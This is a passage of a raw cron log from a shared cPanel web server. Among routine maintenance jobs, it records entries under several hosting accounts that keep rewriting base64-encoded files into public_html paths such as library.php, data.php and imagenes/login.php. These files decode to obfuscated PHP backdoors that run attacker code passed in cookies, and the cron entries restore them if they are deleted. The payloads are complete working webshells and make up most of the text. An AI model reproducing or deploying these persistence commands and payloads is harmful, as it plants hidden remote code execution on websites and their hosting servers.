nIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:30:02 medusa CROND[28669]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 10:30:02 medusa CROND[28667]: (root) CMD (/nutscripts/filtroh > /dev/null 2>&1)
Mar  2 10:30:02 medusa CROND[28682]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:30:02 medusa CROND[28683]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:30:02 medusa CROND[28660]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 10:30:02 medusa CROND[28692]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 10:30:02 medusa CROND[28693]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:30:02 medusa CROND[28694]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 10:30:02 medusa CROND[28714]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:30:02 medusa CROND[28715]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:30:02 medusa CROND[28708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:30:02 medusa CROND[28697]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 10:31:01 medusa CROND[18623]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 10:31:01 medusa CROND[18792]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:31:01 medusa CROND[18793]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 10:31:01 medusa CROND[18794]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:31:01 medusa CROND[18795]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:31:01 medusa CROND[18799]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:31:01 medusa CROND[18805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:31:01 medusa CROND[18807]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:31:01 medusa CROND[18806]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:31:01 medusa CROND[18814]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:31:01 medusa CROND[18815]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:31:01 medusa CROND[18820]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:31:01 medusa CROND[18825]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:32:01 medusa CROND[3916]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 10:32:01 medusa CROND[3990]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:32:01 medusa CROND[3991]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:32:01 medusa CROND[3992]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:32:01 medusa CROND[3993]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:32:01 medusa CROND[3995]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:32:01 medusa CROND[3997]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:32:01 medusa CROND[3996]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:32:01 medusa CROND[4001]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
